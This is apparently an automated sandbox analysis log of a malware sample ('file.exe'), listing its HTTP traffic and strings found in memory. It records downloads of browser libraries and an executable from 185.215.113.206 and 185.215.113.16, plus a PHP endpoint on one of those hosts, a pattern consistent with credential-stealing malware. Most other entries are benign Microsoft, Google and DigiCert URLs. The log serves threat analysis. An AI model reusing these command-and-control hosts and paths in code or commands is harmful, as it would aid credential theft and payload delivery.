Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2582213624.0000000001033000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2582213624.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2582213624.0000000001033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeK
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll.o?
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllHo
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllZk
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlljFZ
Source: file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6u
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2582213624.0000000001048000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2582213624.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: file.exe, 00000000.00000002.2581383835.00000000007D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2604215687.0000000023693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: file.exe, 00000000.00000002.2582213624.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpware
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2607600848.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 850f859d-ce8c-487c-8fdb-26819c4f7774.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 2c79d9d9-9d83-4b3e-ac8a-7c41dc98d8ae.tmp.10.dr, 850f859d-ce8c-487c-8fdb-26819c4f7774.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 2c79d9d9-9d83-4b3e-ac8a-7c41dc98d8ae.tmp.10.dr, 850f859d-ce8c-487c-8fdb-26819c4f7774.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2249472536.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, IDBKKKKK.0.dr, Web Data.9.dr, GIJEBKEC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 850f859d-ce8c-487c-8fdb-26819c4f7774.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
